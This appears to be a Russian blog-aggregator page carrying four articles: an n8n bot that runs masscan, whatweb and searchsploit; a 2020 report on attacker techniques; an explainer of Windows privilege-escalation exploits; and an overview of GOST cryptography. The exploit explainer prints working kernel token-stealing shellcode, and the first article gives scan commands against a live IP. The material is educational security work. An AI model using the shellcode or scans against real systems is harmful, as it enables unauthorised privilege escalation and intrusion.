items[0].json.IP = items[0].json.message.text.split(' ')[1];items[0].json.isIP = false;if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(items[0].json.IP)) {items[0].json.isIP = true;return (items);}return (items);

Код получает на вход сериализованное JSON-сообщение, из него берет вторую часть после пробела, прогоняет ее регулярным выражением и в новую переменную isIP присваивает значение true, если это IP-адрес. Опережая комментарии про проверку ввода пользователя не в данной статье, в ней мы минимально затрагиваем тему программирования. В случае неверного или нестандартного ввода в n8n есть процесс обработки ошибок, который необходимо настраивать.

Далее добавляем ноду IF_is_IP для выбора дальнейшей ветки алгоритма. В зависимости от содержимого, нам надо будет с помощью ноды типа HTTP Request выполнить запрос через API. Добавляем ноду http_req_shHost, соединяем с нодой IF_is_IP и настраиваем параметры запроса в соответствии с документацией производителя API (в данном случае Shodan). Аналогично настраиваем еще одну ноду http_req_DoH для получения информации от DNS. Методы запроса и методы аутентификации описаны в документации, все делаем в соответствии с ней.

Источник

Нужные переменные прокликиваем мышкой из Input Data, перед этом выполнив тестовый запуск workflow для получения ответа на запрос. Конструируем запрос:


Результат выполнения запроса DoH URL: ya.ru в формате JSON:


Ноду http_req_DoH соединяем с копией ноды http_req_shHost и мышкой прокликиваем ее новые параметры, меняя значение IP в параметрах запроса, чтобы получилось нужное значение: api.shodan.io/shodan/host{{$node[http_req_DoH].json[Answer][1][data]}}?key=<api_key_cutted>. Далее конструируем отчет, который будет отправлен в чат нодой Telegram2 (отправка сообщения в чат), выбирая нужные поля из Input Data:


В чате видим сообщение с данным отчетом:


Сканируем порты с помощью masscan


Так как область, которую мы автоматизируем, не ограничивается получением информации через различные API (а многие API еще и стоят денег за каждый запрос), давайте попробуем скрипты. Для работы с ними в n8n есть нода типа Execute Command, добавим ее в нужную ветку sw_cmd под именем cmd_masscanPorts. Перед этим извлечем IP-адрес из строки сообщения с помощью функции func_getIP.


Поставим на хост с n8n известный сканер masscan. Если у нас n8n работает в докер-контейнере, то ставить masscan нужно в контейнер. Установка довольно проста. После установки тестируем команды, с помощью которых мы будем сканировать порты. У меня получилась строка вида masscan -p 1-1024,8080 127.0.0.1. Диапазон портов ограничен до 1-1024,8080, чтобы сократить время ожидания. В свойствах ноды cmd_masscanPorts мы настраиваем входные данные от функции func_getIP (значок шестеренки, Add Expression).


Получается команда masscan -p 1-1024,8080 {{$node[func_getIP].json[IP]}}. Запускаем для теста workflow, вводим команду /scan 92.53.96.181 Обращаем внимание, что нода cmd_masscanPorts может выдавать для обработки как результат выполнения (stdout), так и результат ошибки или ход выполнения сканирования (stderr). Тестируем выполнение workflow, смотрим на выходные данные. Добавляем снова ноду для отправки сообщения в чат Telegram3, проверяем, видим в чате (спустя некоторое время выполнения команды masscan) стандартный вывод команды:


Отлично, мы научились выполнять скрипты и обрабатывать их вывод.

Определяем версии веб-компонентов с помощью whatweb


Как и в прошлом разделе, ставим whatweb на хост с n8n. Конструируем команду, пришлось отключить цветовое выделение, так как вывод некорректно обрабатывался при отправке сообщения в telegram. Получилась команда вида whatweb itlanit.ru --color=never. Результаты также отправляем сообщением в чат.


Ищем эксплойты с помощью searchsploit


Искать эксплойты по версиям софта можно разными способами. Платные запросы через API оставим в стороне. Посмотрим, как можно это делать бесплатно без смс и регистрации, заодно вспомним основы JS. Ставим на хост searchsploit, изучаем документацию, смотрим примеры команд и их вывод. Подозрение сразу вызывает два параметра, которые могут быть полезны:

-j, --json   Show result in JSON format-w, --www   Show URLs to Exploit-DB.com rather than the local path


Добавляем ноду функции, которая должна вырезать нам имя софта из команды /exploit notepad, аналогично примеру выделения IP адреса из пункта про Shodan. При этом не забываем, что у нас может быть в запросе как название, так и версия софта, а значит из сообщения нам надо отбросить только команду. То есть надо выполнить простые операции со строками и массивами в JS. Итоговая функция func_getName:

temp = items[0].json.message.text.split(' ');temp = temp.slice(1, temp.length);items[0].json.soft = temp.join(' ');return items;

Добавляем ноду Execute Command, в команде указываем выражение:

searchsploit -j -w {{$node[func_getName].json[soft]}}

И у нас опять есть проблема, в результате получаем JSON, но в формате простого текста. Для преобразования используем метод json.parse в функции func_getJSON:

items[0].json.p_json = JSON.parse(items[0].json.stdout);return items;

Теперь у нас есть JSON, который можно разбирать и конструировать из него сообщение. Отметим, что количество эксплойтов может быть произвольным, а значит нам понадобится цикл для обработки. Итоговый код func_getMsg:

items[0].json.msg_text = '*Exploits list: *\n';items[0].json.p_json.RESULTS_EXPLOIT.forEach(function (RESULTS_EXPLOIT){items[0].json.msg_text = items[0].json.msg_text + RESULTS_EXPLOIT.Title + ' \n '+ RESULTS_EXPLOIT.URL + '\n';});return items;

Звездочки добавлены для разметки Markdown, URL умеет распознавать сам Telegram. Добавляем ноду для отправки сообщения Telegram. Вот наше итоговое сообщение в чате:


На этом закончим. У нас получился бот, который умеет собирать информацию из разных источников.

Как еще можно применить n8n для выполнения рутинных операций специалиста по информационной безопасности? Например, получать обновления о найденных уязвимостях из RSS-фидов, и парсить обновления по ключевым словам наименованию ПО, которое используется в организации. Если найдена новая уязвимость в ПО, то отправлять сообщение администратору безопасности. Также допустим, если мы собираем хэш-суммы файлов на рабочей станции, то n8n может дополнительно проверять их на VirusTotal, и проверять, не пропустил ли установленный антивирус нового зловреда и отправлять уведомление администратору.

Плюсы

  • Open source.
  • Низкий порог входа.
  • Хорошая документация.
  • Возможность расширения функционала: код на JS, хостовые скрипты.
  • Отзывчивое сообщество.

Минусы

  • Отсутствие русскоязычной документации.
  • Отсутствие компонентов интеграции с типовыми отечественными сервисами (1С, Bitrix, Яндекс, Mail.ru).
  • Отсутствие кнопки Сделать хорошо.

Подводя итог, я могу сказать, что продукт мне понравился. Да, он не является уникальным, и у него много конкурентов (Zapier, IFTT, automate.io и т.п.), но видно, что концепт продукта был хорошо продуман, особенно в части простоты использования и возможности расширения функционала.

В статье рассмотрены разнообразные кейсы применения n8n. Надеюсь, статья была полезной, и подтолкнула читателя к каким-либо идеям автоматизации своей деятельности. Готов ответить на вопросы в комментариях или по email arudakov@lanit.ru.

Подробнее..

Исследование атак со стороны профессиональных кибергруппировок смотрим статистику техник и тактик

01.12.2020 12:23:05 | Автор: admin
Это был сложный год не только в свете коронавируса, локдауна, экологических бедствий и прочего, но и в части информационной безопасности. С переходом на удаленку многие компании выставили наружу ходы в инфраструктуру, что открыло новые возможности для мамкиных хакеров. Параллельно и профессиональные группировки, использующие гораздо более сложные инструменты, стали атаковать чаще. Мы подвели итоги за неполный год и свели в единую статистику те техники и тактики, с которыми мы чаще всего сталкивались в процессе мониторинга инфраструктур заказчиков.


Как считали


Прежде всего методология и источники данных. Что легло в основу аналитики:

  • анализ инцидентов и атак, выявленных командой центра мониторинга и реагирования на кибератаки Solar JSOC на инфраструктурах заказчиков;
  • работы команды JSOC CERT по расследованию инцидентов;
  • агрегированная информация об атаках и вредоносном ПО, собираемая ханипотами, размещенными на сетях связи и центрах обработки данных;
  • информация, получаемая в рамках коммерческих подписок от внешних поставщиков услуг и информационного обмена с российскими и международными CERT.

Скоуп объектов мониторинга:

  • более 140 крупных организаций (и более 600 тысяч сотрудников) в самых разных отраслях: банки, энергетика и нефтегазовый сектор, органы государственной власти и др.
  • более 1500 внешних сервисов, опубликованных в интернете;
  • более 70 тысяч серверов общего, инфраструктурного и прикладного назначения.

TL;DR (главные выводы)


Профессиональные группировки мы условно делим на несколько уровней: киберкриминал (группировки среднего уровня, нацеленные в основном на вывод денег, выкуп за расшифрование данных и т.д.), кибернаемники (нарушители, зарабатывающие заказными атаками) и кибергруппировки, предположительно финансируемые государствами.

За 2020 год зафиксировано более 200 атак со стороны киберкриминала, включая массовые атаки на отрасль/сектор экономики). Рост по сравнению с прошлым годом примерно на 40%. Самые популярные объекты атаки банки.

Инициаторы примерно 30 атак атрибутируются как группировки, действующие в интересах различных иностранных государств. В 2019 году атак такого уровня было примерно в два раза меньше. Такие группировки атаковали преимущественно органы госвласти, энергетический сектор, компании нефтегазовой отрасли и объекты критической информационной инфраструктуры других сфер деятельности.

Инструментарий группировок среднего уровня


Группировки среднего уровня квалификации, как правило, не разрабатывают вредоносное ПО самостоятельно, а приобретают его в даркнете. Иными словами, статистика применения того или иного массового вредоноса фактически отражает статистику атак киберкриминала. В 2020 году наибольшую популярность имели:

  • RTM 45%
  • Emotet 24%
  • Remcos 5%
  • Nanocore 5%
  • Quasar 5%
  • LokiBot 4%
  • Pony 4%
  • Dharma 3%
  • Hawkey 3%
  • прочие около 2%

Более профессиональные группировки, как правило, используют самописное вредоносное ПО, поэтому составить статистический срез в этом отношении не представляется возможным.

Техники, применяемые для преодоления периметра и взлома инфраструктуры


В случае если злоумышленники применяли комбинированный способ атаки, мы учитывали вектор, наиболее критичный с точки зрения контроля и блокировки. Например, при атаке на Exchange Server с помощью уязвимости CVE-2020-0688, для эксплуатации которой требуются учетные данные одного из пользователей, инцидент учитывался как использование уязвимостей в веб-приложении, так как в данном случае более критична необходимость закрытия уязвимости (технической возможности полного контроля компрометации учетных данных за пределами компании не существует).

Действия киберкриминала за последний год существенно не поменялись. Злоумышленники этого уровня все чаще используют фишинг и социальную инженерию для проникновения в компанию. В целом тяготение киберкриминала к конкретным техникам взлома в 2020 году прослеживалось достаточно четко:

  • Фишинг 74%
  • Атаки на веб-приложения 20%
  • Компрометация учетных записей 3%
  • Эксплуатация уязвимостей периметра 2%
  • Supply chain менее 1%

Это объяснимо: фишинг достаточно прост и по-прежнему эффективен для массовых атак, требует минимальных вложений в обследование и анализ инфраструктуры жертвы. Параллельно влияет ежегодно растущее число утечек учетных данных с публичных и внутренних сервисов, что вывело атаки посредством компрометации учетных записей на третье место. А вот атаки через подрядчика (supply chain) требуют длительной подготовки, поэтому крайне редко используются этой категорией злоумышленников.

Существенно отличается статистика по кибернаемникам и проправительственным группировкам, нацеленным на деструктивные действия и шпионаж с использованием более фокусного, индивидуального подхода к реализации атак:

  • Атаки на веб-приложения 45%
  • Эксплуатация уязвимостей периметра 32%
  • Supply chain 16%
  • Компрометация учетных записей 4%
  • Фишинг 3%

Слабый уровень защищенности веб-приложений на объектах КИИ и в органах государственной власти делает этот вектор наиболее популярным у высокопрофессиональных киберпреступников. Также существенный вес имеют атаки через подрядчика, который, как правило, обладает высокими привилегиями на обслуживание не только корпоративных, но зачастую и закрытых технологических сегментов. Поэтому компаниям стоит обратить внимание на уровень защищенности подрядных организаций и выстроить максимально безопасный способ доступа подрядчиков в инфраструктуру.

Техники, используемые злоумышленниками для закрепления и развития атаки


Совокупно ключевые способы закрепления в инфраструктуре жертвы сводятся к следующим техникам:

  • механизмы автозагрузки прописывание запуска инструментария в автозагрузку операционной системы и сокрытие этого запуска от защитных механизмов
  • системные службы создание системной службы для функционирования инструментария
  • формирование собственного драйвера для максимального сокрытия от защитных алгоритмов
  • использование для работы вредоносного ПО технологий WMI внутренних технологий управления Windows
  • использование ОС для работы инструментария BITS-задач фоновых задач передачи файлов
  • использование планировщика задач для старта вредоносного ПО в определенное время
  • использование планировщика задач для старта вредоносного ПО в определенное время
  • использование планировщика задач для старта вредоносного ПО в определенное время

Ключевые техники для распространения по сети:

  • Pass the Ticket/Pass the Hash кража аутентификационной информации пользователей с использованием слабой защиты аутентификации в Windows
  • использование удаленных сервисов: RDP, SMB, SSH применение административных протоколов с предшествующей кражей учетных записей пользователей
  • эксплуатация уязвимостей удаленных сервисов: RDP-, SMB-, WEB-компоненты эксплуатация уязвимостей в административных протоколах

При использовании комбинированного способа атаки учитывался вектор, наиболее сложный для технического детектирования.

Ситуация в 2020 году выглядела следующим образом.

Закрепление


Группировки среднего уровня:

  • Механизмы автозагрузки 70%
  • Использование планировщика задач 15%
  • Системные службы 10%
  • Использование BITS-задач 5%
  • Формирование собственного драйвера 0%
  • Использование технологий WMI 0%

Кибернаемники и проправительственные группировки:

  • Системные службы 70%
  • Использование планировщика задач 10%
  • Использование BITS-задач 7%
  • Механизмы автозагрузки 5%
  • Использование технологий WMI 5%
  • Формирование собственного драйвера 3%

Распространение



Группировки среднего уровня:

  • Использование удаленных сервисов: RDP, SMB, SSH 80%
  • Pass the Ticket/Pass the Hash 15%
  • Эксплуатация удаленных сервисов: RDP-, SMB-, WEB-компоненты 5%

Кибернаемники и проправительственные группировки:

  • Использование удаленных сервисов: RDP, SMB, SSH 60%
  • Pass the Ticket/Pass the Hash 20%
  • Эксплуатация удаленных сервисов: RDP-, SMB-, WEB-компоненты 20%

Видно существенное различие подходов, используемых группировками разного уровня для сокрытия своей активности. Инструменты, применяемые группировками среднего уровня, гораздо проще для реализации и могут быть детектированы командой защиты средней квалификации. Более профессиональные группировки используют подходы, требующие сложных алгоритмов выявления и продвинутых технологий защиты.

Подход к реализации вредоносного кода


Группировки среднего уровня:

  • Легитимные корпоративные или свободно распространяемые утилиты для администрирования 40%
  • Различные доступные инструменты и фреймворки (для проведения анализа защищенности или ВПО, опубликованное в интернете) 40%
  • Самописное бинарное вредоносное ПО 10%
  • Самописные скрипты на различных интерпретируемых языках (Powershell, vbs, js, bat) 10%

Кибернаемники и проправительственные группировки

  • Самописное бинарное вредоносное программное обеспечение 50%
  • Самописные скрипты на различных интерпретируемых языках (Powershell, vbs, js, bat) 20%
  • Легитимные корпоративные или свободно распространяемые утилиты для администрирования 20%
  • Различные доступные инструменты и фреймворки (для проведения анализа защищенности или ВПО, опубликованное в интернете) 10%

Ключевые узлы инфраструктуры, к которым злоумышленники стремились получить доступ


Группировки среднего уровня при проведении атак, как правило, были нацелены на получение доступа к следующим узлам инфраструктуры:

  • Контроллер домена 80% случаев (для получения максимальных привилегий и возможности использовать различных учетных записей)
  • АРМ и транзитные серверы, обрабатывающие платежную информацию 85% (с целью крупной монетизации атаки)
  • АРМ ИТ-администраторов с высоким уровнем привилегий 75%
  • Системы ИТ-управления инфраструктурой (серверы инвентаризации, обновления, управления конфигурацией и т.д.) 65% (для получения наиболее полной информации об инфраструктуре)
  • Прикладные системы, хранящие финансовую информацию (АБС, ДБО, ERP, бухгалтерские системы) 45% (для возможности более типизированной монетизации через платежную информацию или вирусы-шифровальщики)
  • Системы ИБ-управления инфраструктурой (антивирусное ПО, системы защиты от несанкционированного доступа, сканеры уязвимостей) 40% (для получения возможности централизованного управления парком серверов и рабочих станций с высокими уровнями

  • При защите и мониторинге безопасности инфраструктуры рекомендуем учитывать данные особенности и повысить контроль за указанными активами. Надеемся, эта аналитика будет полезна при определении приоритетов реализации тех или иных мер защиты. Stay safe!
Подробнее..

Как работают эксплойты по повышению привилегий в ОС Windows

01.12.2020 16:10:27 | Автор: admin

Для будущих студентов курса "Пентест. Практика тестирования на проникновение" подготовили авторскую статью от нашего эксперта - Александра Колесникова.


Также приглашаем записаться на открытый вебинар по теме "Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет."


Тема получения безграничного доступа к системе очень интересна в контексте тестирования на проникновение. Получить доступ к системе и запустить команду сегодня это только половина победы. Вторая половина достигается только в тот момент, когда удается обойти подсистемы песочниц и ограничений, которые есть в операционной системе.

Эта статья расскажет о некоторых особенностях эксплойтов для повышения привилегий в операционной системе Windows.

Privileges in Windows

Для понимания, как работает эскалаций привилегий, необходимо разобраться с разграничением доступа в операционной системе Windows. Описание системы разграничения доступа можно найти на официальном сайте. Согласно документации, разграничение доступа в ОС Windows строится на следующих понятиях:

  • Пользователи

  • Группы

У каждого из перечисленных объектов есть свой индивидуальный идентификатор SID. Вообще, этот идентификатор используется для обозначения любого объекта, с которым работает операционная система, и для него требуется контроль доступа, но нас интересует в первую очередь использование этого идентификатора в контексте пользователей, групп и их прав. Идентификатор используется для того, чтобы создать для пользователя токен доступа. Данный токен содержит информацию о том, какие права имеет пользователь и группы, в которые он входит. Токен будет использоваться для подтверждения или запрета действий над объектами операционной системы, называемыми Securable Objects. Токены доступа бывают:

  • Primary token токен, которым наделяет пользователь процесс, когда запускает приложение.

  • Impersonation token токен, который может работать от имени любого пользователя операционной системы. Также может применяться для клиент-серверного взаимодействия или для запуска потока процесса с другими привилегиями.

Отсюда становится ясно, что основная цель любой эскалации привилегий это получение токена доступа, который создается привилегированными пользователями. В общем случае, в ОС Windows это стандартные пользователи, которые называются: Administrator и System. Именно их токены открывают двери к любой информации, которая есть в операционной системе.

Из официальной документации токен состоит из отдельных объектов:

Структура достаточно сложная и просто так скопировать или модифицировать ее не получится из-за того, что токен хранится в защищенном от модификации месте (как сказано в документации). Выясним, где она находится. Для этого запустим операционную систему Windows в отладочном режиме и исследуем все структуры, которые используются для работы процесса. Если обратиться снова к официальной документации, то начинать стоит со структуры EPROCESS.

Получается, что информация о токене процесса хранится в ядре и поэтому в документации это помечено как область, которую нельзя изменить. Теоретически это действительно так: обычные приложения, которые работают в 3-м кольце, не могут модифицировать то, что хранится в 0-м. Но если модифицировать из ядра структуру внутри ядра, то здесь нет никаких ограничений и противоречий. Обратимся к отладчику:

Жирным цветом выделен адрес структуры EPROCESS, чтобы изучить её более подробно вызовем команду отладчика:

Похоже, что и искать долго не придется, токен находится буквально сразу. В 64-битных операционных системах ссылка на него находится по смещению 0x208. Чтобы ее прочитать нужно маскировать адрес:

Это адрес, который необходимо маскировать полностью, кроме последнего байта:

Над адресом токена нужно вызвать одноименную команду и мы можем убедиться, что действительно, как указано в документации, токен содержит информацию, которая была заявлена:

Из рисунка видно, что все привилегии, которые содержит токен, располагаются в виде битовой маски и имеют названия, которые начинаются с префикса Se. Именно эти поля нам и нужно модифицировать, чтобы операционная система позволяла процессу читать что угодно в операционной системе. Определившись с целью, время поговорить об атаках на набор привилегий, уязвимостях и экспортах к ним.

LPE или что делать с токеном

Изменение привилегий в токене может быть весьма тривиальной задачей несмотря на то, что эти самые привилегии очень сложно структурированы. Основной атакой, которую применяют для эскалации привилегий - перезапись ссылки на токен, которая содержится в структуре EPROCESS. Иными словами токен не изменяется, меняется адрес, где лежит токен. Обычно этот адрес выбирается из системного процесса, который постоянно может присутствовать в операционной системе. Результатом такой операции становится процесс или отдельный поток, который может делать в ОС всё, что угодно. Ниже приведем пример кода, который позволяет произвести кражу токена:

[BITS 64] start:    mov rdx, [gs:188h]      ;get _ETHREAD указатель из KPCR    mov r8, [rdx+70h]       ;_EPROCESS    mov r9, [r8+188h]       ;ActiveProcessLinks начало списка     mov rcx, [r9]           ;найти первый процесс в спискеfind_system_proc:    mov rdx, [rcx-8]        ;смещение от ActiveProcessLinks до UniqueProcessId    cmp rdx, 4              ;System процесс    jz found_it    mov rcx, [rcx]          ;переходим по _LIST_ENTRY Flink указателю    cmp rcx, r9                jnz find_system_proc found_it:    mov rax, [rcx+80h]      ;смещение ActiveProcessLinks до токена    and al, 0f0h            ;очищаем 4 бита _EX_FAST_REF структуры    mov [r8+208h], rax      ;заменить токен текущего процесса системным    ret

Приведенный выше код позволяет скопировать токен для текущего процесса из системного процесса с идентификатором 4. Стоит отметить, что код должен быть запущен в контексте ядра операционной системы. Это означает, что он либо должен быть выполнен драйвером, либо шелкодом, который будет загружаться в память через уязвимость операционной системы.

Уязвимости и эксплойты

Операционная система Windows, как и любая другая сложная система, насчитывает миллионы строк кода. И, как в любом большом проекте, его размер не позволяет исключать ошибки и недочеты. На картинке ниже представлена статистика найденных в ОС уязвимостей последних 5 лет. В нее включены уязвимости для повышения привилегий:

Данные об уязвимостях взяты отсюда. Статистика показывает, что уязвимостей достаточно, чтобы можно было найти себе необходимую для повышения привилегий. Для исследования будем использовать готовые эксплойты. Попробуем восстановить последовательность действий, которые проводятся для достижения цели - эскалации привилегий. Список уязвимостей будет следующим:

  • CVE-2015-2546

  • CVE-2016-3309

  • CVE-2017-0101

  • CVE-2018-8120

  • CVE-2019-1458

  • CVE-2020-0796

CVE-2015-2546

Уязвимость в Win32k модуле операционной системы, повреждение памяти. Фрагмент эксплойта, который отвечает за изменение токена процесса:

Кажется, это тот самый код, который был представлен выше. В нем видоизменен подход к поиску токена, но основная идея та же получить ссылку на токен из процесса с PID=4(System.exe).

CVE-2016-3309

Уязвимость в Win32k, снова проблема с повреждением памяти, взглянем на кусок кода, который используется для замены токена:

В этом случае автор использовал язык программирования C, так же была изменена часть поиска адреса токена, но снова методика замены токена перезапись адреса из системного процесса.

CVE-017-0101

Уязвимость в user32 GDI объектах и снова повреждение памяти. Код замены токена:

Код скопирован из эксплойта 2016 года, похоже, что на этот период примитивы для проведения эскалаций привилегий еще пока что не митигировались в Windows.

CVE-2018-8120

Уязвимость в Win32k компоненте, в этот раз неверно обрабатывается nullpointer, код для замены токена:

Автор эксплойтов явно не спешит использовать что-то другое или хотя бы новое. Снова код, который ищет System.exe и использует его токен.

CVE-2019-1458

Уязвимость в Win32k, повреждение памяти, код замены токена:

Вот и первые изменения, автор больше не мог использовать код, который его выручал на протяжении 3х лет. Теперь токен заменяется через примитивы, которые использовались для эксплуатации уязвимостей в Windows 10 метод Bitmap. По механике он делает тоже самое, но достигается это за счет использования объектов подсистемы Win32k.

CVE-2020-0796

Уязвимость в драйвере, который обрабатывает SMBv3 запросы. Проблема таилась в переполнении целочисленного типа, который отвечал за количество выделяемой памяти в ядре. Код замены токена:

Случай с этой уязвимостью особенный. В первую очередь потому, что замена и перезапись токена осуществляется за 1 проход при получении неверно сформатированного запроса по SMBv3, поэтому в исходнике не происходит никаких дополнительных вычислений и действий по отношению к токену System.exe и процесса пользователя.

Вместо заключения

При тестировании на проникновение часто возникает необходимость использовать тот или иной публичный эксплойт на эскалацию привилегий. При этом не всегда можно найти подробное описание эксплойта и привести его в работоспособное состояние. Надеюсь, эта статья помогла вам увидеть шаблоны, которые применяются для написания эксплойтов, и теперь разбираться в них станет чуточку легче. К тому же, как показывает описание выше, способов на повышение привилегий не так много, а именно один изменение ссылки на токен процесса. Все остальное это просто модификации способа как ссылку можно перезаписать.


Узнать подробнее о курсе "Пентест. Практика тестирования на проникновение".


Записаться на открытый вебинар по теме "Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет."

Подробнее..

Шифруем по-русски, или отечественные криптоалгоритмы

01.12.2020 18:05:13 | Автор: admin

В данной статье простыми словами описаны криптоалгоритмы, являющиеся актуальными на данный момент российскими стандартами защиты информации, и подобраны ссылки на материалы, которые при желании помогут разобраться с ними глубже. А также, в конце статьи приведены работы с результатами криптоанализа одного из важнейших элементов данных алгоритмов.


Из новостей

За ближайший год не раз появлялись новости о предложениях расширять области использования отечественной криптографии. Чтобы представить сроки реализации предложений, стоит упомянуть ряд новостей.

До конца 2020 года планируется закончить создание национального удостоверяющего центра структуры, которая будет выдавать сайтам вРунете отечественные цифровые сертификаты, пишет Медуза. Также, по данным этого издательства отечественные цифровые сертификаты будут использовать криптоалгоритмы Магма и Кузнечик. Кроме того, отечественные алгоритмы шифрования по требованию Центробанка станут обязательными к использованию в платежных системах уже с 2024 года, пишет РБК.

Добавим к этому новость от газеты Коммерсантъ, в которой Магма и Кузнечик упоминаются в контексте тестируемых алгоритмов для использования в виртуальных сим-картах eSim.

Упомянутые выше и другие основные алгоритмы, используемые в отечественной криптографии стандартизованы и описаны в ГОСТах.

Направления ГОСТов

Отечественная криптография базируется на четырех основных объектах, которые мы рассмотрим далее.

Цифровая подпись

ГОСТ 34.10-2018 описывает алгоритмы формирования и проверки электронной цифровой подписи с помощью операций в группе точек эллиптической кривой и функции хеширования. Длины секретного ключа 256 бит и 512 бит.

У пользователя есть сообщение, ключ подписи и ключ для проверки подписи. Ключ проверки подписи является открытым, для того, чтобы любой получатель смог расшифровать и убедиться в достоверности подписи. То есть если получателю удается расшифровать сообщение с помощью открытого ключа проверки подписи, принадлежащего определенному отправителю, то он может быть уверен, что сообщение подписывалось ключом подписи именно этого отправителя.

В алгоритмах формирования и проверки электронной цифровой подписи важным шагом является вычисление точки на эллиптической кривой, поэтому, прежде чем переходить к самим алгоритмам, приведем используемые понятия.

Эллиптической кривой над конечным простым полем F_p , где p>3 , называется множество точек (x, y) , x,y\ \epsilon\ F_p , удовлетворяющих уравнению (в форме Вейерштрасса) y^2 = x^3 + ax + b (mod\ p) , где 4a^3+27b^2 \neq0 , a,\ b\ \epsilon\ F_p .

Альтернативный способ задать эллиптическую кривую

Отметим, что эллиптическую кривую можно задать уравнением не только в форме Вейерштрасса. Относительно новым способом задания эллиптической кривой является уравнение в форме Эдвардса x^2 + y^2 = 1+dx^2y^2, d\ \epsilon \ F_p\backslash \{ 0,1 \} .

Суммой точек (x_1,y_1) , (x_2,y_2) эллиптической кривой называется точка (x_3,y_3) , координаты которой определяются, как x_3 = \lambda^2 -x_1 -x_2(mod\ p) , y_3 = \lambda^2(x_1 -x_3) -y_1(mod\ p) , где \lambda = \frac{y_2 - y_1}{x_2-x_1} (mod\ p) .

Точка эллиптической кривой C = kP , может быть определена через сумму точек C = P+P+...+P .

Разбор теории, необходимой для криптографии на эллиптических кривых, можно найти тут.

Алгоритмы формирования и проверки электронной цифровой подписи.

Подпись создается по следующему алгоритму.

входные данные: сообщение Mи закрытый ключ подписи d .

к сообщению применяется хеш-функция(Стрибог) и вычисляется хеш-код сообщения h=h(M) , отметим, что хеш-код это строка бит.

определяется число e = \alpha(mod\ q) , где \alpha целое число, которое соответствует двоичному представлению хеш-кода h . Причем если \alpha(mod\ q) = 0 , то e принимается за 1.
q это порядок порядок циклической подгруппы группы точек эллиптической кривой, который является одним из параметров цифровой подписи. Также среди параметров есть P это базовая точка подгруппы.

на основе случайно сгенерированного целого числа k, 0<k<q , это число называют секретным ключом. Затем вычисляется точка на эллиптической кривой C = kP . Точка C имеет координаты (x_c,y_c) .

из координаты точки на эллиптической кривой и преобразования хеша вычисляется электронная подпись (r, s) , где r = x_c (mod\ q),\ s = (rd+ke)(mod\ q) . Если либо r , либо s равняется 0, то нужно вернуться к предыдущему шагу.

выходные данные: цифровая подпись (r, s) которую добавляют к сообщению.

Теперь перейдем к алгоритму проверки подписи.

входные данные: сообщение M c цифровой подписью (r, s) и ключ проверки подписи Q

полученная цифровая подпись проходит первичную проверку, если проверка не пройдена, то есть не выполнены неравенства 0<r<q,\ 0<s<q , то подпись неверна.

вычисляется хеш-код сообщения h=h(M) , опять же с помощью алгоритма Стрибог.

определяется число e = \alpha(mod\ q) , где \alpha целое число, которое соответсвует двоичному представлению хеш-кода h. Причем если \alpha(mod\ q) = 0 , то e принимается за 1. Затем определяется \nu = e^{-1}(mod\ q) .

вычисляется точка эллиптической кривой C = s\nu P -r\nu Q , из которой получается R = x_c (mod\ q) .

если r = R , то подпись верна

выходные данные: подпись вена/неверна

Хеш-функция

ГОСТ 34.11-2018 посвящен функции хеширования. В данном документе содержится описание алгоритма вычисления хеш-функции, известной из предыдущих версий стандарта, как Стрибог.

Стрибог принимает на вход сообщение произвольной длины, которое впоследствии разбивается на блоки размером 512 бит(с дополнением блоков при необходимости). После чего входные данные преобразуются в хеш-код фиксированной длинны 256 или 512 бит.

Подробное описание алгоритма вместе с разбором используемых в нем преобразований можно найти в статье @NeverWalkAloner.

Шифры

ГОСТ 34.12-2018 охватывает блочные шифры. Именно в этом ГОСТе описаны алгоритмы шифрования Кузнечик и Магма алгоритмы блочного шифрования с длинами шифруемых блоков 128 бит и 64 бита соответсвенно и длиной ключа шифрования 256 бит у обоих.

Шифрование блока открытого теста Кузнечиком происходит в 10 раундов, для каждого раунда из исходного ключа шифрования генерируется пара раундовых ключей, в каждом раунде проходят стадии подстановки и перестановки (перестановка вызывает особый интерес для криптоанализа алгоритма).

Приведем упрощенную схему работы Кузнечика при зашифровании.

Расшифрование Кузнечиком реализуется путем использования обратных операций подстановки и перестановки в инвертированном порядке, также, в обратном порядке следуют и раундовые ключи.

@sevastyan01 в своей статье подробно описал алгоритм Кузнечик.

Зашифрование блока Магмой проходит в 32 раунда, для каждого раунда из исходного ключа шифрования генерируется раундовый ключ, причем алгоритм генерации ключей отличается от генерации ключей в Кузнечике.

Расшифрование производится аналогичной зашифрованную последовательностью раундов, но с инвертированным порядком следования раундовых ключей.

Режимы работы шифров

ГОСТ 34.13-2018 содержит описание следующих режимов работы блочных шифров.

Режим простой замены

При зашифровании сообщение делится на блоки равной заданной длины. В случае, когда размер сообщения не кратен размеру блока, последний блок дополняется до нужной длины. Каждый блок независимо от остальных шифруется функцией, выполняющей блочное шифрования с использованием ключа.

Расшифрование происходит аналогичным образом. Причем если при зашифровании было применено дополнение, то при расшифровании применяется обратная операция.

Режим гаммирования

В данном режиме работы при шифровании каждый блок открытого текста складывается с блоком гаммы путем операции побитового сложения по модулю 2, XOR. Под гаммой понимается зашифрованная с использованием ключа последовательность, которую вырабатывает определенный алгоритм, который принимает на вход вектор инициализации.

Схематично изобразим данный режим при зашифровании и расшифровании, они происходят аналогично друг другу.

Если общая длина гаммы не кратна длине блока, то последний блок гаммы усекается до размера блока. Блоки гаммы отличны друг от друга и имеют псевдослучайных характер.

Режимы гаммирования с обратной связью: по выходу, по шифротексту

Два режима помещены в один пункт, так как они похожи между собой. В данных режимах при зашифровании выходные данные процедуры шифрования, либо сам шифротекст в случае обратной связи по шифротексту, подаются на вход следующей процедуре шифрования и так далее.

Отличие режимов можно увидеть на схеме.

При расшифровании схема преобразуется следующим образом. Шифротекст встает на место открытого текста, процедура шифрования сменяется процедурой расшифрования, а выходом алгоритма является расшифрованный текст. В дальнейших схемах будем это учитывать.

Режим простой замены с зацеплением

Особенностью данного режима работы является то, что каждый блок открытого текста, за исключением первого, складывается с предыдущим результатом шифрования.

Режим выработки имитовставки

При работе в данном режиме создается зависящий от всего текста блок, который предназначен для проверки наличия в шифротексте искажений.

